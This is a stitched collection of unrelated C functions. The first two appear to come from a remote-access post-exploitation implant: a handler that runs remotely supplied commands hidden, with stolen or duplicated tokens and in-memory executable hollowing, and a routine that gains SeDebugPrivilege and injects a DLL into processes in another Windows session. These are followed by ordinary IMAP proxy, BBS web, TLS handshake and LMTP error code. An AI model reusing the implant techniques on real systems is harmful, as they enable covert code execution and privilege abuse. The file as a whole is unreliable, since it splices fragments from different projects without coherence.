si.wShowWindow = SW_HIDE; createFlags |= CREATE_NO_WINDOW; } // Should we create the process suspended? if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED) createFlags |= CREATE_SUSPENDED; if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN) { // If there is an impersonated token stored, use that one first, otherwise // try to grab the current thread token, then the process token if (remote->hThreadToken){ token = remote->hThreadToken; dprintf("[execute] using thread impersonation token"); } else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token)) OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token); dprintf("[execute] token is 0x%.8x", token); // Duplicate to make primary token (try delegation first) if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken)) { if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken)) { result = GetLastError(); dprintf("[execute] failed to duplicate token 0x%.8x", result); break; } } hUserEnvLib = LoadLibrary("userenv.dll"); if ( NULL != hUserEnvLib ) { lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "CreateEnvironmentBlock" ); lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "DestroyEnvironmentBlock" ); if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock( &pEnvironment, pToken, FALSE)) { createFlags |= CREATE_UNICODE_ENVIRONMENT; dprintf("[execute] created a duplicated environment block"); } else { pEnvironment = NULL; } } // Try to execute the process with duplicated token if( !CreateProcessAsUser( pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi ) ) { LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL; HANDLE hAdvapi32 = NULL; wchar_t * wcmdline = NULL; wchar_t * wdesktop = NULL; int size = 0; result = GetLastError(); // sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only // available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO. if( result == ERROR_PRIVILEGE_NOT_HELD ) { do { hAdvapi32 = LoadLibrary( "advapi32.dll" ); if( !hAdvapi32 ) break; pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress( hAdvapi32, "CreateProcessWithTokenW" ); if( !pCreateProcessWithTokenW ) break; // convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)... size = mbstowcs( NULL, commandLine, 0 ); if( size < 0 ) break; wcmdline = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) ); mbstowcs( wcmdline, commandLine, size ); if( si.lpDesktop ) { size = mbstowcs( NULL, (char *)si.lpDesktop, 0 ); if( size > 0 ) { wdesktop = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) ); mbstowcs( wdesktop, (char *)si.lpDesktop, size ); si.lpDesktop = (LPSTR)wdesktop; } } if( !pCreateProcessWithTokenW( pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi ) ) { result = GetLastError(); dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result); break; } result = ERROR_SUCCESS; } while( 0 ); if( hAdvapi32 ) FreeLibrary( hAdvapi32 ); if( wdesktop ) free( wdesktop ); if( wcmdline ) free( wcmdline ); } else { dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result); break; } } if( lpfnDestroyEnvironmentBlock && pEnvironment ) lpfnDestroyEnvironmentBlock( pEnvironment ); if( NULL != hUserEnvLib ) FreeLibrary( hUserEnvLib ); } else if( flags & PROCESS_EXECUTE_FLAG_SESSION ) { typedef BOOL (WINAPI * WTSQUERYUSERTOKEN)( ULONG SessionId, PHANDLE phToken ); WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL; HANDLE hToken = NULL; HMODULE hWtsapi32 = NULL; BOOL bSuccess = FALSE; DWORD dwResult = ERROR_SUCCESS; do { // Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it. hWtsapi32 = LoadLibraryA( "wtsapi32.dll" ); session = packet_get_tlv_value_uint( packet, TLV_TYPE_PROCESS_SESSION ); if( session_id( GetCurrentProcessId() ) == session || !hWtsapi32 ) { if( !CreateProcess( NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) ) BREAK_ON_ERROR( "[PROCESS] execute in self session: CreateProcess failed" ); } else { pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress( hWtsapi32, "WTSQueryUserToken" ); if( !pWTSQueryUserToken ) BREAK_ON_ERROR( "[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed" ); if( !pWTSQueryUserToken( session, &hToken ) ) BREAK_ON_ERROR( "[PROCESS] execute in session: WTSQueryUserToken failed" ); if( !CreateProcessAsUser( hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) ) BREAK_ON_ERROR( "[PROCESS] execute in session: CreateProcessAsUser failed" ); } } while( 0 ); if( hWtsapi32 ) FreeLibrary( hWtsapi32 ); if( hToken ) CloseHandle( hToken ); result = dwResult; if( result != ERROR_SUCCESS ) break; } else { // Try to execute the process if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { result = GetLastError(); break; } } // // Do up the in memory exe execution if the user requested it // if (doInMemory) { // // Unmap the dummy executable and map in the new executable into the // target process // if (!MapNewExecutableRegionInProcess( pi.hProcess, pi.hThread, inMemoryData.buffer)) { result = GetLastError(); break; } // // Resume the thread and let it rock... // if (ResumeThread(pi.hThread) == (DWORD)-1) { result = GetLastError(); break; } } // check for failure here otherwise we can get a case where we // failed but return a process id and this will throw off the ruby side. if( result == ERROR_SUCCESS ) { // Add the process identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,(DWORD)pi.hProcess); CloseHandle(pi.hThread); } } while (0); // Close the read side of stdin and the write side of stdout if (in[0]) CloseHandle(in[0]); if (out[1]) CloseHandle(out[1]); // Free the command line if necessary if (path && arguments && commandLine) free(commandLine); if( cpDesktop ) free( cpDesktop ); #else PCHAR path, arguments;; DWORD flags; char *argv[8], *command_line; int cl_len = 0; int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors int master = -1, slave = -1; int devnull = -1; int idx, i; pid_t pid; int have_pty = -1; int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN); dprintf( "[PROCESS] request_sys_process_execute" ); do { // Get the execution arguments arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)"); if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; } // how to handle a single string argument line? we don't have a lexer/parser to // correctly handle stuff like quotes, etc. could dumbly parse on white space to // build arguments for execve. revert to /bin/sh -c style execution? // XXX.. don't feel like messing with it atm idx = 0; if(arguments) { // Add one for the null, one for the space cl_len = strlen(path) + strlen(arguments) + 2; command_line = malloc(cl_len); memset(command_line, 0, cl_len); strcat(command_line, path); strcat(command_line, " "); strcat(command_line, arguments); argv[idx++] = "sh"; argv[idx++] = "-c"; argv[idx++] = command_line; path = "/bin/sh"; } else { argv[idx++] = path; } argv[idx++] = NULL; //for (i = 0; i < idx; i++) { // dprintf(" argv[%d] = %s", i, argv[i]); //} // If the channelized flag is set, create a pipe for stdin/stdout/stderr // such that input can be directed to and from the remote endpoint if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { ProcessChannelContext * ctx = NULL; PoolChannelOps chops; Channel *newChannel; // Allocate the channel context if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memset(&chops, 0, sizeof(PoolChannelOps)); // Initialize the channel operations chops.native.context = ctx; chops.native.write = process_channel_write; chops.native.close = process_channel_close; chops.native.interact = process_channel_interact; chops.read = process_channel_read; // Allocate the pool channel if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process channel_set_type(newChannel, "process"); have_pty = !try_open_pty(&master, &slave); if(have_pty) { ctx->pStdin = master; ctx->pStdout = master; } else { // fall back to pipes if there is no tty // Allocate the stdin and stdout pipes if(pipe(&in) || pipe(&out)) { channel_destroy(newChannel, NULL); newChannel = NULL; free(ctx); result = GetLastError(); break; } // Set the context to have the write side of stdin and the read side // of stdout ctx->pStdin = in[1]; ctx->pStdout = out[0]; } fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK); fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK); // Add the channel identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel)); } else { // need to /dev/null it all if( (devnull = open("/dev/null", O_RDONLY) ) == -1) { // XXX This is possible, due to chroots etc. We could close // fd 0/1/2 and hope the program isn't buggy. result = GetLastError(); break; } } /* * We can create "hidden" processes via clone() instead of fork() * clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well. * memory / fd's etc won't be shared. linux specific syscall though. */ pid = fork(); switch(pid) { case -1: result = errno; break; case 0: if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { if(have_pty) { dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); } else { dup2(in[0], 0); dup2(out[1], 1); dup2(out[1], 2); } } else { dup2(devnull, 0); dup2(devnull, 1); dup2(devnull, 2); } for(i = 3; i < 1024; i++) close(i); if(doInMemory) { int found; Elf32_Ehdr *ehdr = (Elf32_Ehdr *)inMemoryData.buffer; Elf32_Phdr *phdr = (Elf32_Phdr *)(inMemoryData.buffer + ehdr->e_phoff); for(found = 0, i = 0; i < ehdr->e_phnum; i++, phdr++) { if(phdr->p_type == PT_LOAD) { found = 1; break; } } if(! found) return; // XXX, not too much we can do in this case ? perform_in_mem_exe(argv, environ, inMemoryData.buffer, inMemoryData.header.length, phdr->p_vaddr & ~4095, ehdr->e_entry); } else { execve(path, argv, environ); } dprintf("failed to execute program, exit(EXIT_FAILURE) time"); dprintf("doInMemory = %d, hidden = %d", doInMemory, hidden); exit(EXIT_FAILURE); default: dprintf("child pid is %d\n", pid); packet_add_tlv_uint(response, TLV_TYPE_PID, (DWORD)pid); packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE, (DWORD)pid); if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { if(have_pty) { dprintf("child channelized\n"); close(slave); } else { close(in[0]); close(out[1]); close(out[2]); } } break; } } while(0); #endif packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Inject an arbitrary DLL into a process running in specific Windows session. */ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ) { DWORD dwResult = ERROR_INVALID_HANDLE; CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL; PROCESS32FIRST pProcess32First = NULL; PROCESS32NEXT pProcess32Next = NULL; HANDLE hProcessSnap = NULL; HMODULE hKernel = NULL; HANDLE hToken = NULL; BOOL bUseBruteForce = TRUE; PROCESSENTRY32 pe32 = {0}; do { // If we can, get SeDebugPrivilege... if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { TOKEN_PRIVILEGES priv = {0}; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) { if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) ); dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" ); } CloseHandle( hToken ); } hKernel = LoadLibraryA( "kernel32" ); if( !hKernel ) break; pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" ); pProcess32First = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" ); pProcess32Next = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" ); if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next ) break; hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hProcessSnap == INVALID_HANDLE_VALUE ) break; pe32.dwSize = sizeof( PROCESSENTRY32 ); if( !pProcess32First( hProcessSnap, &pe32 ) ) break; bUseBruteForce = FALSE; do { if( dwSessionId == session_id( pe32.th32ProcessID ) ) { // On Windows 2008R2 we Blue Screen the box if we inject via APC injection // into the target sessions instance of csrss.exe!!! so we filter it out... if( strstr( pe32.szExeFile, "csrss.exe" ) ) continue; //if( strstr( pe32.szExeFile, "winlogon.exe" ) ) // continue; //if( !strstr( pe32.szExeFile, "winlogon.exe" ) ) // continue; //if( !strstr( pe32.szExeFile, "explorer.exe" ) ) // continue; //if( strstr( pe32.szExeFile, "TPAutoConnSvc.exe" ) ) // continue; dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer ); if( dwResult == ERROR_SUCCESS ) { dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile ); break; } } } while( pProcess32Next( hProcessSnap, &pe32 ) ); } while( 0 ); if( hProcessSnap ) CloseHandle( hProcessSnap ); if( hKernel ) FreeLibrary( hKernel ); // On NT4 we must brute force the process list... if( bUseBruteForce ) dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer ); return dwResult; }
static int backend_login(struct backend *ret, const char *userid, sasl_callback_t *cb, const char **auth_status, int noauth) { int r = 0; int ask = 1; /* should we explicitly ask for capabilities? */ char buf[2048]; struct protocol_t *prot = ret->prot; if (prot->type != TYPE_STD) return -1; if (prot->u.std.banner.auto_capa) { /* try to get the capabilities from the banner */ r = ask_capability(ret, /*dobanner*/1, AUTO_CAPA_BANNER); if (r) { /* found capabilities in banner -> don't ask */ ask = 0; } } else { do { /* read the initial greeting */ if (!prot_fgets(buf, sizeof(buf), ret->in)) { syslog(LOG_ERR, "backend_login(): couldn't read initial greeting: %s", ret->in->error ? ret->in->error : "(null)"); return -1; } } while (strncasecmp(buf, prot->u.std.banner.resp, strlen(prot->u.std.banner.resp))); xstrncpy(ret->banner, buf, 2048); } if (ask) { /* get the capabilities */ ask_capability(ret, /*dobanner*/0, AUTO_CAPA_NO); } /* now need to authenticate to backend server, unless we're doing LMTP/CSYNC on a UNIX socket (deliver/sync_client) */ if (!noauth) { char *old_mechlist = backend_get_cap_params(ret, CAPA_AUTH); const char *my_status; if ((r = backend_authenticate(ret, userid, cb, &my_status))) { syslog(LOG_ERR, "couldn't authenticate to backend server: %s", sasl_errstring(r, NULL, NULL)); free(old_mechlist); return -1; } else { const void *ssf; sasl_getprop(ret->saslconn, SASL_SSF, &ssf); if (*((sasl_ssf_t *) ssf)) { /* if we have a SASL security layer, compare SASL mech lists before/after AUTH to check for a MITM attack */ char *new_mechlist; int auto_capa = (prot->u.std.sasl_cmd.auto_capa == AUTO_CAPA_AUTH_SSF); if (!strcmp(prot->service, "sieve")) { /* XXX Hack to handle ManageSieve servers. * No way to tell from protocol if server will * automatically send capabilities, so we treat it * as optional. */ char ch; /* wait and probe for possible auto-capability response */ usleep(250000); prot_NONBLOCK(ret->in); if ((ch = prot_getc(ret->in)) != EOF) { prot_ungetc(ch, ret->in); } else { auto_capa = AUTO_CAPA_AUTH_NO; } prot_BLOCK(ret->in); } ask_capability(ret, /*dobanner*/0, auto_capa); new_mechlist = backend_get_cap_params(ret, CAPA_AUTH); if (new_mechlist && old_mechlist && strcmp(new_mechlist, old_mechlist)) { syslog(LOG_ERR, "possible MITM attack:" "list of available SASL mechanisms changed"); if (new_mechlist) free(new_mechlist); if (old_mechlist) free(old_mechlist); return -1; } free(new_mechlist); } else if (prot->u.std.sasl_cmd.auto_capa == AUTO_CAPA_AUTH_OK) { /* try to get the capabilities from the AUTH success response */ forget_capabilities(ret); parse_capability(ret, my_status); post_parse_capability(ret); } if (!(strcmp(prot->service, "imap") && (strcmp(prot->service, "pop3")))) { char rsessionid[MAX_SESSIONID_SIZE]; parse_sessionid(my_status, rsessionid); syslog(LOG_NOTICE, "auditlog: proxy %s sessionid=<%s> remote=<%s>", userid, session_id(), rsessionid); } } if (auth_status) *auth_status = my_status; free(old_mechlist); } /* start compression if requested and both client/server support it */ if (config_getswitch(IMAPOPT_PROXY_COMPRESS) && CAPA(ret, CAPA_COMPRESS) && prot->u.std.compress_cmd.cmd) { r = do_compress(ret, &prot->u.std.compress_cmd); if (r) { syslog(LOG_NOTICE, "couldn't enable compression on backend server: %s", error_message(r)); r = 0; /* not a fail-level error */ } } return 0; }
int web_sector(void) { int sid = 0; board_t parent = { .id = 0 }; db_res_t *res = NULL; const char *sname = web_get_param("s"); if (*sname) { res = db_query("SELECT id, descr" " FROM board_sectors WHERE name = %s", sname); if (!res || db_res_rows(res) < 1) { db_clear(res); return BBS_EINVAL; } } else { const char *pname = web_get_param("board"); if (*pname) get_board(pname, &parent); else get_board_by_bid(strtol(web_get_param("bid"), NULL, 10), &parent); if (!parent.id || !(parent.flag & BOARD_FLAG_DIR) || !has_read_perm(&parent)) return BBS_ENOBRD; } xml_header(NULL); printf("<bbsboa link='%sdoc' ", get_post_list_type_string()); if (*sname) { char path[HOMELEN]; sprintf(path, "%s/info/egroup%d/icon.jpg", BBSHOME, (int) strtol(sname, NULL, 16)); if (dashf(path)) printf(" icon='%s'", path); const char *utf8_sector = db_get_value(res, 0, 1); if (web_request_type(UTF8)) { printf(" title='%s'>", utf8_sector); } else { GBK_BUFFER(sector, BOARD_SECTOR_NAME_CCHARS); convert_u2g(utf8_sector, gbk_sector); printf(" title='%s'>", gbk_sector); } sid = db_get_integer(res, 0, 0); db_clear(res); } else { if (web_request_type(UTF8)) { printf(" dir= '1' title='%s'>", parent.descr); } else { GBK_BUFFER(descr, BOARD_DESCR_CCHARS); convert_u2g(parent.descr, gbk_descr); printf(" dir= '1' title='%s'>", gbk_descr); } } if (sid) res = db_query(BOARD_SELECT_QUERY_BASE "WHERE b.sector = %d", sid); else res = db_query(BOARD_SELECT_QUERY_BASE "WHERE b.parent = %d", parent.id); if (res && db_res_rows(res) > 0) show_board(res); db_clear(res); print_session(); printf("</bbsboa>"); return 0; } int bbsclear_main(void) { if (!session_id()) return BBS_ELGNREQ; board_t board; if (!get_board(web_get_param("board"), &board) || !has_read_perm(&board)) return BBS_ENOBRD; session_set_board(board.id); const char *start = web_get_param("start"); brc_init(currentuser.userid, board.name); brc_clear_all(); brc_sync(currentuser.userid); char buf[STRLEN]; snprintf(buf, sizeof(buf), "doc?board=%s&start=%s", board.name, start); http_header(); refreshto(0, buf); printf("</head></html>"); return 0; } int bbsnot_main(void) { board_t board; if (!get_board(web_get_param("board"), &board) || !has_read_perm(&board)) return BBS_ENOBRD; if (board.flag & BOARD_FLAG_DIR) return BBS_EINVAL; session_set_board(board.id); char fname[HOMELEN]; snprintf(fname, sizeof(fname), "vote/%s/notes", board.name); mmap_t m; m.oflag = O_RDONLY; if (mmap_open(fname, &m) < 0) return BBS_ENOFILE; xml_header(NULL); printf("<bbsnot brd='%s'>", board.name); xml_fputs2((char *) m.ptr, m.size); mmap_close(&m); print_session(); printf("</bbsnot>"); return 0; }
void TLSClient_Impl::handshake_server_hello_received(const void *data, int size) { if (conversation_state != cl_tls_state_receive_server_hello) throw Exception("TLS Expected server hello"); // The server responds with a ServerHello message, containing the chosen protocol version, // a random number, CipherSuite and compression method from the choices offered by the client. // To confirm or allow resumed handshakes the server may send a session ID. // The chosen protocol version should be the highest that both the client and server support. // For example, if the client supports TLS1.1 and the server supports TLS1.2, TLS1.1 should be // selected; SSL 3.0 should not be selected TLS_ProtocolVersion server_version; copy_data(&server_version, sizeof(server_version), data, size); bool invalid_protocol = false; // Check server version is not higher than this version if (server_version.major > protocol.major) invalid_protocol = true; if (server_version.major == protocol.major) if (server_version.minor > protocol.minor) invalid_protocol = true; // Check minimum is 3.1 if (server_version.major < 3) invalid_protocol = true; if (server_version.major == 3) if (server_version.minor < 1) invalid_protocol = true; if (invalid_protocol) throw Exception("Server Protocol not supported"); // Use the server protocol (will be lower that "protocol" but higher than 3.1) protocol.major = server_version.major; protocol.minor = server_version.minor; is_protocol_chosen = true; // Get TLS_Random copy_data(security_parameters.server_random.get_data(), security_parameters.server_random.get_size(), data, size); // "This structure is generated by the server and must be different from (and independent of) ClientHello.random" if (!memcmp(security_parameters.server_random.get_data(), security_parameters.client_random.get_data(), security_parameters.server_random.get_size())) throw Exception("TLS Client and Server random numbers must not match"); uint8_t session_id_length; copy_data(&session_id_length, 1, data, size); Secret session_id(session_id_length); copy_data(session_id.get_data(), session_id_length, data, size); int8_t buffer[3]; copy_data(buffer, 3, data, size); select_cipher_suite(buffer[0], buffer[1]); select_compression_method(buffer[2]); conversation_state = cl_tls_state_receive_certificate; }
static void send_lmtp_error(struct protstream *pout, int r) { switch (r) { case 0: prot_printf(pout, "250 2.1.5 Ok SESSIONID=<%s>\r\n", session_id()); break; case IMAP_IOERROR: prot_printf(pout, "451 4.3.0 System I/O error\r\n"); break; case IMAP_SERVER_UNAVAILABLE: case MUPDATE_NOCONN: case MUPDATE_NOAUTH: case MUPDATE_TIMEOUT: case MUPDATE_PROTOCOL_ERROR: prot_printf(pout, "451 4.4.3 Remote server unavailable\r\n"); break; case IMAP_NOSPACE: prot_printf(pout, "451 4.3.1 cannot create file: out of space\r\n"); break; case IMAP_AGAIN: prot_printf(pout, "451 4.3.0 transient system error\r\n"); break; case IMAP_PERMISSION_DENIED: if (LMTP_LONG_ERROR_MSGS) { prot_printf(pout, "550-You do not have permission to post a message to this mailbox.\r\n" "550-Please contact the owner of this mailbox in order to submit\r\n" "550-your message, or %s if you believe you\r\n" "550-received this message in error.\r\n" "550 5.7.1 Permission denied\r\n", config_getstring(IMAPOPT_POSTMASTER)); } else { prot_printf(pout, "550 5.7.1 Permission denied\r\n"); } break; case IMAP_QUOTA_EXCEEDED: if(config_getswitch(IMAPOPT_LMTP_OVER_QUOTA_PERM_FAILURE)) { /* Not Default - Perm Failure */ prot_printf(pout, "552 5.2.2 Over quota SESSIONID=<%s>\r\n", session_id()); } else { /* Default - Temp Failure */ prot_printf(pout, "452 4.2.2 Over quota SESSIONID=<%s>\r\n", session_id()); } break; case IMAP_MAILBOX_BADFORMAT: case IMAP_MAILBOX_NOTSUPPORTED: prot_printf(pout, "451 4.2.0 Mailbox has an invalid format\r\n"); break; case IMAP_MAILBOX_MOVED: prot_printf(pout, "451 4.2.1 Mailbox Moved\r\n"); break; case IMAP_MESSAGE_CONTAINSNULL: prot_printf(pout, "554 5.6.0 Message contains NUL characters\r\n"); break; case IMAP_MESSAGE_CONTAINSNL: prot_printf(pout, "554 5.6.0 Message contains bare newlines\r\n"); break; case IMAP_MESSAGE_CONTAINS8BIT: prot_printf(pout, "554 5.6.0 Message contains non-ASCII characters in headers\r\n"); break; case IMAP_MESSAGE_BADHEADER: prot_printf(pout, "554 5.6.0 Message contains invalid header\r\n"); break; case IMAP_MESSAGE_NOBLANKLINE: prot_printf(pout, "554 5.6.0 Message has no header/body separator\r\n"); break; case IMAP_MAILBOX_NONEXISTENT: /* XXX Might have been moved to other server */ if (LMTP_LONG_ERROR_MSGS) { prot_printf(pout, "550-Mailbox unknown. Either there is no mailbox associated with this\r\n" "550-name or you do not have authorization to see it.\r\n" "550 5.1.1 User unknown\r\n"); } else { prot_printf(pout, "550 5.1.1 User unknown\r\n"); } break; case IMAP_PROTOCOL_BAD_PARAMETERS: prot_printf(pout, "501 5.5.4 Syntax error in parameters\r\n"); break; case MUPDATE_BADPARAM: default: /* Some error we're not expecting. */ prot_printf(pout, "451 4.3.0 Unexpected internal error\r\n"); break; } }